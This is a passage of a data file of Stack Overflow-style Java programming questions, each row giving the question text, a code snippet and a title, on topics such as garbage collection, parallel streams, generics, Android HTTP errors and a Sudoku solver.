( T obj ) { java.lang.ref.ReferenceQueue < T > ref_queue = new java.lang.ref.ReferenceQueue < T > ( ) ; java.lang.ref.PhantomReference < T > ref = new java.lang.ref.PhantomReference < T > ( obj , ref_queue ) ; // if this line is n't an assignment , the GC would n't collect the object no matter how hard I force it to obj = null ; // if this line is removed , the GC would n't collect the object no matter how hard I force it to StartPollingRef ( ref_queue ) ; GoOom ( ) ; } private < T > void StartPollingRef ( final java.lang.ref.ReferenceQueue < T > ref_queue ) { new java.lang.Thread ( new java.lang.Runnable ( ) { @ Override public void run ( ) { System.out.println ( `` Removing.. '' ) ; boolean removed = false ; while ( ! removed ) { try { ref_queue.remove ( ) ; removed = true ; System.out.println ( `` Removed . `` ) ; } catch ( InterruptedException e ) { // ignore } } } } ) .start ( ) ; } private void GoOom ( ) { try { int len = ( int ) java.lang.Math.min ( java.lang.Integer.MAX_VALUE , Runtime.getRuntime ( ) .maxMemory ( ) ) ; Object [ ] arr = new Object [ len ] ; } catch ( Throwable e ) { // System.out.println ( e ) ; } } }",Why do my variables not go out of scope ? +Java,"I have a strange glitch where I can not make the same network call twice.The first time I run the network call it works just fine , data is returned . The second time I run the network call ( I have run break points through here ) it gets to the HttpResponse object , runs the network call , but then immediately jumps to the IOException catch.the post object has the same data every time , the cookies are all included.I 'm not around anybody knowledgeable about the server ( running drupal ) , but it seems like a server issue.Can someone shed light on why this would happen ? Why would I be prohibited from getting data back a second time ? To shed further light on things , if I break through the response object , I can see it may return `` '' instead of data . if that helps at all","HttpClient client = new DefaultHttpClient ( ) ; HttpPost post = new HttpPost ( url ) ; try { HttpResponse response = client.execute ( post , new BasicHttpContext ( ) ) ; 05-15 11:22:34.612 : E/ ( 1094 ) : ObjectService05-15 11:22:34.612 : E/ ( 1094 ) : org.apache.http.client.ClientProtocolException05-15 11:22:34.612 : E/ ( 1094 ) : at org.apache.http.impl.client.AbstractHttpClient.execute ( AbstractHttpClient.java:557 ) 05-15 11:22:34.612 : E/ ( 1094 ) : at org.apache.http.impl.client.AbstractHttpClient.execute ( AbstractHttpClient.java:487 ) 05-15 11:22:34.612 : E/ ( 1094 ) : at com.fivepoints.service.ObjectService.getObject ( ObjectService.java:121 ) 05-15 11:22:34.612 : E/ ( 1094 ) : at com.fivepoints.model.team.TeamView $ ActivityListTask.doInBackground ( TeamView.java:94 ) 05-15 11:22:34.612 : E/ ( 1094 ) : at com.fivepoints.model.team.TeamView $ ActivityListTask.doInBackground ( TeamView.java:1 ) 05-15 11:22:34.612 : E/ ( 1094 ) : at android.os.AsyncTask $ 2.call ( AsyncTask.java:185 ) 05-15 11:22:34.612 : E/ ( 1094 ) : at java.util.concurrent.FutureTask $ Sync.innerRun ( FutureTask.java:306 ) 05-15 11:22:34.612 : E/ ( 1094 ) : at java.util.concurrent.FutureTask.run ( FutureTask.java:138 ) 05-15 11:22:34.612 : E/ ( 1094 ) : at java.util.concurrent.ThreadPoolExecutor.runWorker ( ThreadPoolExecutor.java:1088 ) 05-15 11:22:34.612 : E/ ( 1094 ) : at java.util.concurrent.ThreadPoolExecutor $ Worker.run ( ThreadPoolExecutor.java:581 ) 05-15 11:22:34.612 : E/ ( 1094 ) : at java.lang.Thread.run ( Thread.java:1019 ) 05-15 11:22:34.612 : E/ ( 1094 ) : Caused by : org.apache.http.client.CircularRedirectException : Circular redirect to 'http : //mysite.com/demoObject/_c'05-15 11:22:34.612 : E/ ( 1094 ) : at org.apache.http.impl.client.DefaultRedirectHandler.getLocationURI ( DefaultRedirectHandler.java:173 ) 05-15 11:22:34.612 : E/ ( 1094 ) : at org.apache.http.impl.client.DefaultRequestDirector.handleResponse ( DefaultRequestDirector.java:903 ) 05-15 11:22:34.612 : E/ ( 1094 ) : at org.apache.http.impl.client.DefaultRequestDirector.execute ( DefaultRequestDirector.java:468 ) 05-15 11:22:34.612 : E/ ( 1094 ) : at org.apache.http.impl.client.AbstractHttpClient.execute ( AbstractHttpClient.java:555 ) 05-15 11:22:34.612 : E/ ( 1094 ) : ... 10 more",android HttpResponse always dies second time it is called +Java,Let 's say i have a List < Integer > ints = new ArrayList < > ( ) ; and i want to add values to it and compare the results of parallel execution using forEach ( ) and Collectors.toList ( ) .First i add to this list some values from an sequential IntStream and forEach : And i get the correct result : Now i .clear ( ) the list and do the same thing in parallel : Now due to multithreading i get the incorrect result : Now i switch to collecting the same Stream of Integers : And i get the correct result : Question : Why does the two parallel executions produce different result 's and why is the Collector producing the correct result ? If forEach produces a random result the Collector should too . I did n't specify any sorting and i think internally he is adding to a list like i did manually using forEach . Since he 's doing it in parallel he 's add method should get the values in unspecified order . Testing done i JShell.EDIT : No duplicate here . I understand the linked question . WHy does the Collector produce the correct result ? If he would be producing another random result i would not be asking .,"IntStream.range ( 0,10 ) .boxed ( ) .forEach ( ints : :add ) ; ints == > [ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ] IntStream.range ( 0,10 ) .parallel ( ) .boxed ( ) .forEach ( ints : :add ) ; ints == > [ 6 , 5 , 8 , 9 , 7 , 2 , 4 , 3 , 1 , 0 ] IntStream.range ( 0,10 ) .parallel ( ) .boxed ( ) .collect ( Collectors.toList ( ) ) ; ints == > [ 0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 ]",Java 8 Stream - parallel execution - different result - why ? +Java,"I have this code will work in multithreaded application.I know that immutable object is thread safe because its state can not be changed . And if we have volatile reference , if is changed with e.g . MyImmutableObject state = MyImmutableObject.newInstance ( oldState , newArgs ) ; i.e . if a thread wants to update the state it must create new immutable object initializing it with the old state and some new state arguments ) and this will be visible to all other threads.But the question is , if a thread2 starts long operation with the state , in the middle of which thread1 updates the state with new instance , what will happen ? Thread2 will use reference to the old object state i.e . it will use inconsistent state ? Or thread2 will see the change made by thread1 because the reference to state is volatile , and in this case thread1 can use in the first part of its long operation the old state and in the second part the new state , which is incorrect ?","State state = cache.get ( ) ; //t1 Result result1 = DoSomethingWithState ( state ) ; //t1 State state = cache.get ( ) ; //t2 - > longOperation1 ( state ) ; //t1 Result result2 = DoSomethingWithState ( state ) ; //t2 - > longOperation1 ( state ) ; //t2 - > longOperation2 ( state ) ; //t1cache.update ( result1 ) ; //t1 - > longOperation2 ( state ) ; //t2 cache.update ( result2 ) ; //t2Result DoSomethingWithState ( State state ) { longOperation1 ( state ) ; //Imaging Thread1 finish here and update state , when Thread2 is going to execute next method longOperation2 ( state ) ; return result ; } class cache { private volatile State state = State.newInstance ( null , null ) ; update ( result ) { this.state = State.newInstance ( result.getState , result.getNewFactors ) ; get ( ) { return state ; } }",Immutable Objects in multi threaded application - how does it work ? +Java,I 'm working on a java source code that has the style : orShould I rewrite it to : ? Thanks in advance ! .,if ( 0 == var ) { } and if ( null == someObj ) { } if ( 0 ! = var ) { } and if ( null ! = someObj ) { } if ( var == 0 ) { } and if ( someObj == null ) { },Is it appropiate the statement . if ( 0 ! = expression or variable ) { } in java ? +Java,"I do n't know what I 'm doing wrong , and I 've been staring at this code all day . This is a `` standard '' Sudoku solver in Java , that takes a int [ ] [ ] with 0 's where the empty spaces are . Given I 'm only passing in a board with 35 holes , this should be able to solve the vast majority of problems , but can only solve ~66 % . In the others , there are a few ( usually 2 or 4 ) empty spaces left , that are impossible to solve ( i.e . an improper number has been written into board . ) Almost always , it 'll be a 9 that 's missing.I understand that such a simple solution will not solve all Sudokus . I 'm deliberately giving it easy ones.I 'm still new to programming , so any advice other than solving this would be welcome . ( Particularly optimizing possible . That 's the most profane code I 've written to date . ) Thanks !","import java.util.ArrayList ; import java.util.List ; public class SudokuSolver { public SudokuSolver ( ) { init ( ) ; } public boolean solve ( ) { /* Each method checks ( in different ways ) to see if it can find a new number If said method does find a number , it sets off a chain reaction , starting back at the beginning . */ int countdown = 20 ; while ( ! solved ( ) & & -- countdown > 0 ) { if ( given ( ) ) continue ; if ( findSingletons ( ) ) continue ; if ( zerosLeft ( ) < = 4 ) justGuess ( ) ; } return solved ( ) ; } public boolean given ( ) { boolean repeat = false ; //Iterate through every given number for ( int i=0 ; i < 9 ; i++ ) { for ( int j=0 ; j < 9 ; j++ ) { if ( board [ i ] [ j ] ! = 0 & & ! found [ i ] [ j ] ) { repeat = true ; foundNum ( i , j , board [ i ] [ j ] ) ; } } } //Call given every time a new number is found return repeat ; } public boolean findSingletons ( ) { boolean repeat = false ; //LOTS of iteration , but I 'm out of ideas . int [ ] values ; ArrayList < Integer > singletons = new ArrayList < Integer > ( ) ; for ( int i=0 ; i < 9 ; i++ ) { values = new int [ 10 ] ; singletons.clear ( ) ; for ( int j=0 ; j < 9 ; j++ ) for ( int k=0 ; k < possible [ i ] [ j ] .size ( ) ; k++ ) values [ possible [ i ] [ j ] .get ( k ) ] ++ ; for ( int j=1 ; j < 10 ; j++ ) if ( values [ j ] == 1 ) singletons.add ( j ) ; for ( int j=0 ; j < 9 ; j++ ) for ( int k=0 ; k < singletons.size ( ) ; k++ ) if ( possible [ i ] [ j ] .contains ( singletons.get ( k ) ) ) { foundNum ( i , j , singletons.get ( k ) ) ; repeat = true ; } } for ( int i=0 ; i < 9 ; i++ ) { values = new int [ 10 ] ; singletons.clear ( ) ; for ( int j=0 ; j < 9 ; j++ ) for ( int k=0 ; k < possible [ j ] [ i ] .size ( ) ; k++ ) values [ possible [ j ] [ i ] .get ( k ) ] ++ ; for ( int j=1 ; j < 10 ; j++ ) if ( values [ j ] == 1 ) singletons.add ( j ) ; for ( int j=0 ; j < 9 ; j++ ) for ( int k=0 ; k < singletons.size ( ) ; k++ ) if ( possible [ j ] [ i ] .contains ( singletons.get ( k ) ) ) { foundNum ( j , i , singletons.get ( k ) ) ; repeat = true ; } } int [ ] corners = { 0,3,6 } ; for ( int a=0 ; a < 3 ; a++ ) for ( int l=0 ; l < 3 ; l++ ) for ( int i=corners [ a ] ; i < corners [ a ] +3 ; i++ ) { values = new int [ 10 ] ; singletons.clear ( ) ; for ( int j=corners [ l ] ; j < corners [ l ] +3 ; j++ ) for ( int k=0 ; k < possible [ i ] [ j ] .size ( ) ; k++ ) values [ possible [ i ] [ j ] .get ( k ) ] ++ ; for ( int j=1 ; j < 10 ; j++ ) if ( values [ j ] == 1 ) singletons.add ( j ) ; for ( int j=0 ; j < 9 ; j++ ) for ( int k=0 ; k < singletons.size ( ) ; k++ ) if ( possible [ i ] [ j ] .contains ( singletons.get ( k ) ) ) { foundNum ( i , j , singletons.get ( k ) ) ; repeat = true ; } } return repeat ; } public void justGuess ( ) { outer : for ( int i=0 ; i < 9 ; i++ ) for ( int j=0 ; j < 9 ; j++ ) if ( board [ i ] [ j ] == 0 ) { foundNum ( i , j , possible [ i ] [ j ] .get ( 0 ) ) ; break outer ; } } public void foundNum ( int x , int y , int numFound ) { if ( board [ x ] [ y ] ! = 0 & & board [ x ] [ y ] ! = numFound ) { throw new RuntimeException ( `` Attempting to place a number where one was already found '' ) ; } board [ x ] [ y ] = numFound ; possible [ x ] [ y ] .clear ( ) ; possible [ x ] [ y ] .add ( numFound ) ; found [ x ] [ y ] = true ; for ( int i=0 ; i < 9 ; i++ ) { if ( i ! = x ) if ( possible [ i ] [ y ] .indexOf ( numFound ) ! = -1 ) possible [ i ] [ y ] .remove ( possible [ i ] [ y ] .indexOf ( numFound ) ) ; } for ( int i=0 ; i < 9 ; i++ ) { if ( i ! = y ) if ( possible [ x ] [ i ] .indexOf ( numFound ) ! = -1 ) possible [ x ] [ i ] .remove ( possible [ x ] [ i ] .indexOf ( numFound ) ) ; } int cornerX = 0 ; int cornerY = 0 ; if ( x > 2 ) if ( x > 5 ) cornerX = 6 ; else cornerX = 3 ; if ( y > 2 ) if ( y > 5 ) cornerY = 6 ; else cornerY = 3 ; for ( int i=cornerX ; i < 10 & & i < cornerX+3 ; i++ ) for ( int j=cornerY ; j < 10 & & j < cornerY+3 ; j++ ) if ( i ! = x & & j ! = y ) if ( possible [ i ] [ j ] .indexOf ( numFound ) ! = -1 ) possible [ i ] [ j ] .remove ( possible [ i ] [ j ] .indexOf ( numFound ) ) ; } public boolean solved ( ) { for ( int i=0 ; i < 9 ; i++ ) for ( int j=0 ; j < 9 ; j++ ) if ( ! found [ i ] [ j ] ) return false ; return true ; } public void reset ( int [ ] [ ] board ) { this.board = board ; init ( ) ; } public void init ( ) { possible = new ArrayList [ 9 ] [ 9 ] ; for ( int i=0 ; i < 9 ; i++ ) for ( int j=0 ; j < 9 ; j++ ) { possible [ i ] [ j ] = new ArrayList < Integer > ( ) ; for ( int k=1 ; k < 10 ; k++ ) possible [ i ] [ j ] .add ( k ) ; } found = new boolean [ 9 ] [ 9 ] ; } public void print ( ) { for ( int i=0 ; i < 9 ; i++ ) { if ( i % 3==0 & & i ! = 0 ) System.out.println ( `` - - - | - - - | - - - '' ) ; for ( int j=0 ; j < 9 ; j++ ) { if ( j % 3==0 & j ! = 0 ) System.out.print ( `` | `` ) ; System.out.print ( board [ i ] [ j ] + `` `` ) ; } System.out.println ( ) ; } System.out.println ( ) ; } private int zerosLeft ( ) { int empty = 0 ; for ( int i=0 ; i < 9 ; i++ ) for ( int j=0 ; j < 9 ; j++ ) if ( board [ i ] [ j ] == 0 ) empty++ ; return empty ; } private void data ( int difficulty ) { int empty = 0 ; for ( int i=0 ; i < 9 ; i++ ) for ( int j=0 ; j < 9 ; j++ ) if ( board [ i ] [ j ] == 0 ) empty++ ; System.out.println ( empty ) ; } public static void main ( String [ ] args ) { SudokuGenerator sg = new SudokuGenerator ( ) ; SudokuSolver ss = new SudokuSolver ( ) ; int [ ] [ ] tempBoard = { { 4 , 0 , 1 , 0 , 9 , 7 , 0 , 5 , 8 } , { 2 , 0 , 0 , 5 , 3 , 1 , 4 , 0 , 6 } , { 5 , 0 , 6 , 4 , 0 , 2 , 0 , 3 , 9 } , { 0 , 9 , 0 , 0 , 0 , 4 , 3 , 0 , 2 } , { 0 , 0 , 0 , 9 , 0 , 0 , 6 , 4 , 7 } , { 7 , 0 , 4 , 0 , 0 , 0 , 9 , 0 , 5 } , { 0 , 0 , 7 , 0 , 0 , 3 , 8 , 9 , 4 } , { 8 , 5 , 0 , 1 , 4 , 9 , 7 , 0 , 0 } , { 9 , 0 , 3 , 8 , 7 , 6 , 0 , 0 , 0 } } ; ss.reset ( tempBoard ) ; System.out.println ( ss.solve ( ) ) ; ss.print ( ) ; ss.data ( 35 ) ; } int [ ] [ ] board ; ArrayList < Integer > [ ] [ ] possible ; boolean [ ] [ ] found ; }",Sudoku solver bug +Java,"Ok so I have a file that reads integers , from a file that looks like this . 123456-1324563.The file reads these numbers as a string and I 'm trying to figure out how to create a method that appends the number 0 to whichever side of the number being read is less than the other side . For example if there are less numbers on the left side of the operator than on the right it would add 0 's to the string so that the two numbers become even and return the new String . So I would need the method to turn a String like 123456789-123456 into 123456789-000123456 . But it would need to determine which side is shorter and pad 0 's in front of it but still return the entire string.Edit : This is my most updated version of this method , that I 'm using and when the + operator is passed in I 'm getting an ArrayIndexOutOfBoundsException . But it works perfectly find with the - operator .","public String pad ( String line , String operator ) { String str [ ] = line.split ( Pattern.quote ( operator ) ) ; StringBuilder left = new StringBuilder ( str [ 0 ] ) ; StringBuilder right = new StringBuilder ( str [ 1 ] ) ; left = left.reverse ( ) ; right = right.reverse ( ) ; int len1 = left.length ( ) ; int len2 = right.length ( ) ; if ( len1 > len2 ) { while ( len1 ! =len2 ) { right.append ( `` 0 '' ) ; len1 -- ; } } else { while ( len1 ! =len2 ) { left.append ( `` 0 '' ) ; len2 -- ; } } return left.reverse ( ) .toString ( ) +operator+right.reverse ( ) .toString ( ) ; }",Java padding a string read from a file +Java,"I´ve been playing with Java Flow offer operator but after read the documentation and do my test I dont understand.Here my testThe offer operator receive an item to be emitted and a BiPredicate function , and as far as I understand reading the documentation , only in case that the predicate function is true the item it will be emitted.Bur after pass the test the result isThere´s no change in the result if instead of false I return true.Anybody can explain me this operator a little bit better please .","@ Testpublic void offer ( ) throws InterruptedException { //Create Publisher for expected items Strings SubmissionPublisher < String > publisher = new SubmissionPublisher < > ( ) ; //Register Subscriber publisher.subscribe ( new CustomSubscriber < > ( ) ) ; publisher.subscribe ( new CustomSubscriber < > ( ) ) ; publisher.subscribe ( new CustomSubscriber < > ( ) ) ; publisher.offer ( `` item '' , ( subscriber , value ) - > false ) ; Thread.sleep ( 500 ) ; } Subscription done : Subscription done : Subscription done : Got : item -- > onNext ( ) callbackGot : item -- > onNext ( ) callbackGot : item -- > onNext ( ) callback",Java 9 Behavior of Flow SubmissionPublisher offer method +Java,"I 've read the whole SCJP6 book Sierra and Bates book , scored 88 % the exam.But still , i never heard of how this kind of code works as it 's not explained in the generics chapter : What is this kind of generics usage ? I discovered it in some code but never read anything about it.It seems to me it permits to give some help to type inference.I 've tried to search about that but it 's not so easy to find ( and it 's not even in the SCJP book/exam ! ) So can someone give me a proper explaination of how it works , which are all the usecases etc ? ThanksEditThanks for the answers but i expected more details : ) so if someone want to add some extra informations : What about more complex cases likeUsing a type declared in class , can i do something like Collections. < T > reverseOrder ( ) for exemple ? Using extends , super ? Using ? Giving the compiler only partial help ( ie O.manyTypesMethod < ? , MyHelpTypeNotInfered , ? , ? , ? , ? , ? > ( ) )",Collections. < TimeUnit > reverseOrder ( ),What 's this generics usage in Java ? X. < Y > method ( ) +Java,"How can I access item of array in JOOQ like in this sql-query ? Something like that : Or just access to first item : I know about string solution , but it 's not good :",SELECT ( ARRAY_AGG ( id ) ) [ 1 ] FROM entities ; dsl ( ) .select ( arrayAgg ( ENTITIES.ID ) .get ( 1 ) ) .from ( ENTITIES ) .fetch ( ) ; dsl ( ) .select ( arrayAgg ( ENTITIES.ID ) .head ( ) ) .from ( ENTITIES ) .fetch ( ) ; field ( `` ( ARRAY_AGG ( id ) ) [ 1 ] '' ),Accessing sql-array item by in jooq +Java,When using a request dispatcher in a servlet to forward to a JSP why must the JSP be denoted with a forward slash like the following- : If I use it without the forward slash I get an exception in Tomcat.But when I use request dispatcher for redirecting to servlets then I can omit the forward slash . The below code fragment works fine provided there is a servlet mapped to the url pattern- : I know that the / means the root of the web-app but why is n't it required for servlets but only for JSPs ? Servlets also belong to a particular web-app .,"getServletContext ( ) .getRequestDispatcher ( `` /foo.jsp '' ) .forward ( request , response ) ; getServletContext ( ) .getRequestDispatcher ( `` bar '' ) .forward ( request , response ) ;",Why is the forward slash mandatory when forwarding from servlet to JSP ? +Java,"I 've got a method in a class that has a return type specified by use of a generic.With the generic return type , I assumed the return in the above example would evaluate to : Instead a String is returned and printed correctly . I get a compilation error if I change the call to be : What am I missing to help me understand what 's going on here and why the original version did n't result in a compilation error .","public class SomeMain { public static void main ( String [ ] args ) { Foo < Integer > foo = new Foo < Integer > ( ) ; System.out.println ( foo.getFoo ( ) ) ; // Works , prints out `` Foo '' } public static class Foo < E > { public E getFoo ( ) { return ( E ) `` Foo '' ; } } } return ( Integer ) `` Foo '' ; // Inconvertible types ! ! ! String fooString = foo.getFoo ( ) ; // Compile error , incompatible types foundSystem.out.println ( fooString ) ;",Why does this use of Generics not throw a runtime or compile time exception ? +Java,"What the title says . For C++ , ( ++a ) ++ does compile . Strangely enough , though , ++ ( a++ ) does not : But in Java , it does not for all three : Is there any reason why C++ compiles this but not in Java ?",int main ( ) { int a = 0 ; ++a++ ; // does not compile ( ++a ) ++ ; // does compile ++ ( a++ ) ; // does not compile } public class Test { public static void main ( String [ ] args ) { int a = 0 ; ++a++ ; // does not compile ( ++a ) ++ ; // does not compile ++ ( a++ ) ; // does not compile } },Why does ` ++a++ ` not compile in C++ but ` ( ++a ) ++ ` does ? +Java,I 'm trying to do something like this : The problem is that there is no replaceCurrent method . Maybe there is an equivalent I overlooked . Basically I want to replace each match with the return value of a method called on that match . Any tips would be much appreciated !,public String evaluateString ( String s ) { Pattern p = Pattern.compile ( `` someregex '' ) ; Matcher m = p.matcher ( s ) ; while ( m.find ( ) ) { m.replaceCurrent ( methodFoo ( m.group ( ) ) ) ; } },Replace each occurrence matched by pattern with method called on that string +Java,"We can initialize an array like this : It works fine.But I came across a peculiar situation.The above line of code compiles fine . This according to me is weird . Because when the compiler would parse this statement , it would encounter { and , and } all together . Should n't the compiler be expecting a constant or a literal in between ? I would appreciate it if someone would tell me how exactly the above statement is parsed and what exactly the compiler does when it encounters such a situation .","int myArray [ ] [ ] = { { 10,20 } , { 30,40 } , { 50 } } ; int myAnotherArray [ ] [ ] = { { , } , { , } , { , } } ;",Array Initialization using { } in Java +Java,"I have an interface that basically looks like this : And then in another class I have a list of ISetting < ? > And this all works perfectly ! However , the platform where I use my code does n't support Java 8 , so I have to use Java 7 , and here 's where the problems come.If I set the Maven target to 1.7 , like this in my pom.xml : Then the code compiles perfectly with no errors or anything . However , when I try to run the code , it gives me this error : java.lang.ClassFormatError : Method getValueName in class net/uniqraft/murder/match/settings/ISetting has illegal modifiers : 0x1I tried to Google it but could n't find anything that I understood or seemed to be applicable in my case.So , I thought , I 'll just make the entire codebase into Java 7 : The first error I see is : Default methods are allowed only at source level 1.8 or aboveWhich is incredibly annoying and I do n't know how to bypass that . A lot of my code is dependent on default implementations . I guess I just have to use abstract classes instead ? But the more problematic error I see is on the List < Setting < ? > > I have : Type mismatch : can not convert from List < ISetting < ? extends Object & Comparable < ? > & Serializable > > to List < ISetting < ? > > I have no idea what that means or how to fix it . The quickfix Eclipse offers are of no help.In case the you need to see the full non-stripped ISetting class or the full stacktrace , I put them externally as they 're rather spacey : ISetting.java Stacktrace","public interface ISetting < T > { public T getDefault ( ) ; public T value ( ) ; public void set ( T value ) ; public String getName ( ) ; public default String getValueName ( ) { Object obj = value ( ) ; if ( obj instanceof Boolean ) { return ( boolean ) obj ? `` Yes '' : `` No '' ; } return obj.toString ( ) ; } } private List < ISetting < ? > > settings = Arrays.asList ( new ClassMode ( ) , new EndMode ( ) , new PlayerLives ( ) , new JoinMidGame ( ) , new ScoreboardDisplay ( ) , new LifePerKill ( ) , new ExplosiveBullets ( ) , new ReloadTime ( ) ) ; < configuration > < source > 1.8 < /source > < target > 1.7 < /target > < /configuration > < configuration > < source > 1.7 < /source > < target > 1.7 < /target > < /configuration >",How would I make this Java 7 compatible ? +Java,I was looking at the source of Java 1.6 's Java.Util.ArrayDeque ( a queue implementation ) and stumbled on allocateElements ( ) which should size the backing array according to the given number of elements : What is the purpose of ORing initialCapacity with itself-rshifted ?,"private void allocateElements ( int numElements ) { int initialCapacity = MIN_INITIAL_CAPACITY ; // Find the best power of two to hold elements . // Tests `` < = '' because arrays are n't kept full . if ( numElements > = initialCapacity ) { initialCapacity = numElements ; initialCapacity |= ( initialCapacity > > > 1 ) ; initialCapacity |= ( initialCapacity > > > 2 ) ; initialCapacity |= ( initialCapacity > > > 4 ) ; initialCapacity |= ( initialCapacity > > > 8 ) ; initialCapacity |= ( initialCapacity > > > 16 ) ; initialCapacity++ ; if ( initialCapacity < 0 ) // Too many elements , must back off initialCapacity > > > = 1 ; // Good luck allocating 2 ^ 30 elements } elements = ( E [ ] ) new Object [ initialCapacity ] ; }",Implementation of ArrayDeque.allocateElements ( bitwise operations ) +Java,"I just upgraded to Android Studio 3.0 from 2.3.3 and was eager to try the new Java 8 features now supported on pre-API 26 builds . I set sourceCompatibility and targetCompatibility to JavaVersion.VERSION_1_8 in my build.gradle file . Then , unfortunately , I got an error in the following class : The error is : Error : ( 13 , 51 ) error : Entry is not public in LinkedHashMap ; can not be accessed from outside packageThe editor itself shows no error at all ; it only shows up as output from the Gradle task : app : compileDebugJavaWithJavac.I 'm using the default tool chain . I tried cleaning and rebuilding the project . I also tried invalidating the caches and restarting Android Studio.I can avoid the error by changing the language back to 1.7 in my build.gradle file . Unfortunately , since my minSdkVersion is 17 , I then would n't be able to use try-with-resources and other goodies.Interestingly , I discovered that I can work around the error by using the fully qualifying name java.util.Map.Entry instead of Entry . I have no idea why this works , while the bare name Entry generates an error.Is there some configuration setting I 'm missing ? Is this a known bug in AS 3.0 ?","package com.zigzagworld.util ; import java.util.LinkedHashMap ; public class LRUCache < K , V > extends LinkedHashMap < K , V > { private final int maxSize ; public LRUCache ( int maxSize ) { super ( Math.min ( 16 , ( int ) ( ( maxSize + 1 ) / 0.75f ) ) , 0.75f , true ) ; this.maxSize = maxSize ; } @ Override protected boolean removeEldestEntry ( Entry < K , V > eldest ) { return size ( ) > maxSize ; } }",Weird Android Studio error with Java 8 +Java,"I thought that JPMS does n't support module version . However , when I do java -- list-modules I have the following output : So , I ca n't understand what this @ 9 is . Is this version or what ? If JPMS supports module version , can I set in module-info of module A , that module A requires module B of certain version ?",java.activation @ 9java.base @ 9java.compiler @ 9java.corba @ 9java.datatransfer @ 9java.desktop @ 9java.instrument @ 9 ... .,Does JPMS support module version ? +Java,"I 've been doing some reading on Concepts that are going to be introduced in C++14/17 . From what I understood , we define and use a concept like this : My question is , is n't this conceptually pretty much the same as a Java Interface ? If not , how are they different ? Thanks .","// Define the concept ( from wikipedia ) auto concept less_comparable < typename T > { bool operator < ( T ) ; } // A class which implements the requirements of less_comparable , // with T= ` const string & ` class mystring { bool operator < ( const mystring & str ) { // ... } } ; // Now , a class that requires less_comparabletemplate < less_comparable T > class my_sorted_vector { // ... } ; // And use my_sorted_vectormy_sorted_vector < int > v1 ; // should be finemy_sorted_vector < mystring > v2 ; // samemy_sorted_vector < struct sockaddr > v3 ; // must give error ?",What 's the difference between C++ Concept and Java Interface ? +Java,"I 'm developing an app that deals with pictures and using parse.com services as a backend . At some point I had to choose between : store different versions of the same picture , e.g . 100x100 for thumbnails , 400x400 for bigger views , 1000x1000 for fullscreen views ; store only the 1000x1000 version , and scale it down when needed , possibly server-side.The solution I 'm currently working on is a mixture of the two : I hold 100x100 for thumbnails , 1000x1000 for fullscreen views and would like to scale it down for any other need . I started working on a Cloud Code function to achieve this . My wish is to pass to the function the width of the current view , so to make the image adaptable to the client 's need . I have two questions : is this approach correct , or should I better simply store a middle-sized version of the image ( like 400x400 ) ? Would this determine too many calls to the cloud code function ? ( I 'm not aware of any parse.com restriction for the number of cloud functions calls , but there might be ) What kind of object is i.data ( ) returning , and how can I get a Bitmap from it ? From the Android app I 'm calling :","var Image = require ( `` parse-image '' ) ; Parse.Cloud.define ( `` getPicture '' , function ( request , response ) { var url = request.params.pictureUrl ; var objWidth = request.params.width / 2 ; Parse.Cloud.httpRequest ( { url : url } ) .then ( function ( resp ) { var i = new Image ( ) ; return i.setData ( resp.buffer ) ; } ) .then ( function ( i ) { var scale = objWidth / i.width ( ) ; if ( scale > = 1 ) { response.success ( i.data ( ) ) ; } return i.scale ( { ratio : scale } ) ; } ) .then ( function ( i ) { return i.data ( ) ; } ) .then ( function ( data ) { response.success ( data ) ; } ) ; } ) ; HashMap < String , Object > params = new HashMap < > ( ) ; params.put ( `` pictureUrl '' , getUrl ( ) ) ; params.put ( `` width '' , getWidth ( ) ) ; ParseCloud.callFunctionInBackground ( `` getPicture '' , params , new FunctionCallback < Object > ( ) { @ Override public void done ( Object object , ParseException e ) { //here I should use BitmapFactory.decodeByteArray ( ... ) //but object is definitely not a byte [ ] ! //From debugging it looks like a List < Integer > , //but I do n't know how to get a Bitmap from it . } } ) ;",Download image through Parse Cloud Code function +Java,"I have two classes that are subclasses of an abstract class A : I would like to identify the subclass of an A object passed to a function . I can see two alternatives : or add an enum to A with the different types : Which is better ? I am leaning towards the second , because instanceof does n't feel right for a production application . Is there another , best way ? If the second is better , is there a better place to put the enum ?","class X extends A { } class Y extends A { } void myfunction ( A myobj ) { if ( myobj instanceof X ) doXStuff ( ( X ) myobj ) ; if ( myobj instanceof Y ) doYStuff ( ( Y ) myobj ) ; } abstract class A { enum Type { X , Y } ; Type type ; ... } class X extends A { type = Type.X ; ... } class Y extends A { type = Type.Y ; ... } void myfunction ( A myobj ) { if ( myobj.type == Type.X ) doXStuff ( ( X ) myobj ) ; if ( myobj.type == Type.Y ) doYStuff ( ( Y ) myobj ) ; }",Type variable vs instanceof for identification +Java,"I 'm new to java and I 'm learning about interfaces and polymorphism . And i want to know what is the best way to do it.Suppose i have a simple class.I want to give something that object can do , though an interface : If i want to implement the inteface for animation i can do the following : Since all not objects can animate i want to handle the rendering of the animation though polymorphism , but do n't know how to diferentiate the objects wihout using InstanceOf and not having to ask if it implemented the interface or not . I plan to put all this objects in a container .",class Object { // Renders the object to screen public void render ( ) { } interface Animate { // Animate the object void animate ( ) ; } class AnimatedObject extends Object implements Animate { public void animate ( ) { // animates the object } } class Example { public static void main ( String [ ] args ) { Object obj1= new Object ( ) ; Object obj2= new AnimatedObject ( ) ; // this is not possible but i would want to know the best way // to handle it do i have to ask for instanceOf of the interface ? . // There is n't other way ? // obj1.animate ( ) ; obj1.render ( ) ; obj2.animate ( ) ; obj2.render ( ) ; } },Polymorphism and Interfaces in Java +Java,"I have an Android App ( Spring Android + Android Annotations + Gson ) that consume REST services from a Web App ( Jersey + Spring + Hibernate / JPA ) . The problem is that my java.util.Date properties are not serialized : Activity ( Android App ) : Rest Client ( Android App ) : Rest Server ( Web App ) : The Android application performs the POST the Student object for REST service , but the DateRegistration property loses its value when the student object arrives in StudentRESTfulServer.Could you help me ?","... @ Click ( R.id.buttonLogin ) void onLoginClick ( ) { Student student = new Student ( ) ; student.setDateRegistration ( new Date ( ) ) ; //Property where the problem occurs student.setFirstName ( `` Venilton '' ) ; student.setGender ( Gender.M ) ; doSomethingInBackground ( student ) ; } @ Backgroundvoid doSomethingInBackground ( Student student ) { this.restClient.insert ( student ) ; } ... @ Rest ( rootUrl = `` http : //MY_IP:8080/restful-app '' , converters = { GsonHttpMessageConverter.class } ) public interface StudentRESTfulClient { @ Post ( `` /student/insert '' ) Student insert ( Student student ) ; } @ Component @ Path ( `` /student '' ) public class StudentRESTfulServer { @ Autowired private StudentService 